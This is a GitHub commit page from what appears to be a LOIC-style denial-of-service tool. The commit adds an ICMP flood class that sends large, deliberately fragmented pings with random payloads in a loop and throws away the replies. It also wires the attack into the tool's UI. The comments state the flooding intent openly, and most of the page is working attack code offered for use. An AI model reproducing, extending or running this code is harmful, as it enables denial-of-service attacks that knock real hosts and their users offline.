Skip to content

Commit

Permalink
ICMP add
Browse files Browse the repository at this point in the history
adding abilitiy for ICMP attacks
  • Loading branch information
JamesMatchett committed Sep 28, 2017
1 parent 6edd91c commit 9df4b9d
Show file tree
Hide file tree
Showing 4 changed files with 145 additions and 6 deletions.
8 changes: 7 additions & 1 deletion src/Protocol.cs
Original file line number Diff line number Diff line change
Expand Up @@ -41,5 +41,11 @@ public enum Protocol
/// XXX: Must be documented.
/// </summary>
ReCoil = 5,

///<summary>
/// ICMP Protocol method
/// </summary>
ICMP = 6,

}
}
}
122 changes: 122 additions & 0 deletions src/cHLDos.cs
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@
using System.Collections.Generic;
using System.ComponentModel;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Text;
using System.Text.RegularExpressions;
Expand Down Expand Up @@ -525,4 +526,125 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
}
}
} // class SlowLoic


//start of ICMP class

public class ICMP : cHLDos
{

private string _ip;
private int _port;

private Random _random;
private int _PingsPerThread;
private byte[] _BytesToSend;
private Ping _pingSender;
private PingOptions _opt;
private bool _RandomMessage;
private BackgroundWorker bw;

/// <summary>
/// Create the ICMP object, because we need that, for reasons
/// </summary>

public ICMP(string ip, int port, bool RandomMessage, int PingsPerThread)
{
this._ip = ip;
this._port = port;
this._PingsPerThread = PingsPerThread;
this._pingSender = new Ping();
this._RandomMessage = RandomMessage;
this._BytesToSend = new byte[65000];
this._random = new Random();

this._opt = new PingOptions();
this._opt.DontFragment = false;
this._opt.Ttl = 128;

_opt = new PingOptions();
if (RandomMessage)
{
//if we're sending messages, fragment as greater processing power needed on server to reconstruct
_opt.DontFragment = false;
}else
{
//not sending messages, don't fragment, ddos through straight volume of requests
_opt.DontFragment = true;
}
//def ttl
_opt.Ttl = 128;


}


public override void Start()
{
this.IsFlooding = true;
this.bw = new BackgroundWorker();
this.bw.DoWork += bw_DoWork;
this.bw.RunWorkerAsync();
this.bw.WorkerSupportsCancellation = true;
}


public override void Stop()
{
this.IsFlooding = false;
this.bw.CancelAsync();
}

//while working away
private void bw_DoWork (object sender, EventArgs e){

while (this.IsFlooding)
{
_BytesToSend = new Byte[0];

if (_RandomMessage)
{
_BytesToSend = new Byte[65500];
//fill an array with 0 to 65499 random bytes bytes
int b = 0;
while (b < _random.Next(0,65499))
{
this._BytesToSend[b] = Convert.ToByte(this._random.Next(0, 255));
b++;
}
}


State = ReqState.Ready;

for (int i = 0; i < _PingsPerThread; i++)
{
State = ReqState.Connecting;
try
{
//send the data with a timeout value of 10ms
_pingSender.SendAsync(_ip, 10, _BytesToSend, _opt);
Requested++;
}

catch (Exception)
{
Failed++;
}
//dispose of the pingSender because why do WE need to see the replies ;)
try
{
_pingSender.SendAsyncCancel();
_pingSender.Dispose();

}
catch { }
State = ReqState.Completed;
}
State = ReqState.Ready;
}


}
}
}
3 changes: 2 additions & 1 deletion src/frmMain.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

18 changes: 14 additions & 4 deletions src/frmMain.cs
Original file line number Diff line number Diff line change
Expand Up @@ -199,6 +199,11 @@ private void Attack(bool toggle, bool on, bool silent = false)
ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
}

if (protocol == Protocol.ICMP)
{
ts = new ICMP(sTargetIP, iPort, chkMsgRandom.Checked, Convert.ToInt32((txtSLSpT.Text)));
}

if(ts != null)
{
ts.Start();
Expand Down Expand Up @@ -1555,15 +1560,18 @@ private void frmMain_KeyDown(object sender, KeyEventArgs e)

private void cbMethod_SelectedIndexChanged(object sender, EventArgs e)
{
chkMsgRandom.Enabled = (bool)(cbMethod.SelectedIndex <= 1); // TCP_UDP
chkMsgRandom.Enabled = (bool)(cbMethod.SelectedIndex <= 1 || cbMethod.SelectedIndex == 5); // TCP_UDP or ICMP
txtData.Enabled = (bool)(cbMethod.SelectedIndex <= 1); // TCP_UDP
chkRandom.Enabled = (bool)(cbMethod.SelectedIndex >= 2); // HTTP_ReCoil_slowLoic
chkRandom.Enabled = (bool)(cbMethod.SelectedIndex >= 2 && !(cbMethod.SelectedIndex == 5)); // HTTP_ReCoil_slowLoic
txtSubsite.Enabled = (bool)(cbMethod.SelectedIndex >= 2); // HTTP_ReCoil_slowLoic

txtSLSpT.Enabled = (bool)(cbMethod.SelectedIndex >= 3); // ReCoil_slowLoic
chkAllowGzip.Enabled = (bool)(cbMethod.SelectedIndex >= 2); // HTTP_ReCoil_slowLoic
chkWaitReply.Enabled = (bool)(cbMethod.SelectedIndex != 4); // TCP_UDP_HTTP_ReCoil
chkWaitReply.Enabled = (bool)(cbMethod.SelectedIndex != 4 && cbMethod.SelectedIndex != 5); // TCP_UDP_HTTP_ReCoil
chkUseGet.Enabled = (bool)(cbMethod.SelectedIndex == 2 || cbMethod.SelectedIndex == 4); // HTTP_slowLoic



}

private void txtThreads_Leave(object sender, EventArgs e)
Expand All @@ -1577,5 +1585,7 @@ private void txtThreads_Leave(object sender, EventArgs e)
}
}
}


}
}
}

0 comments on commit 9df4b9d

Please sign in to comment.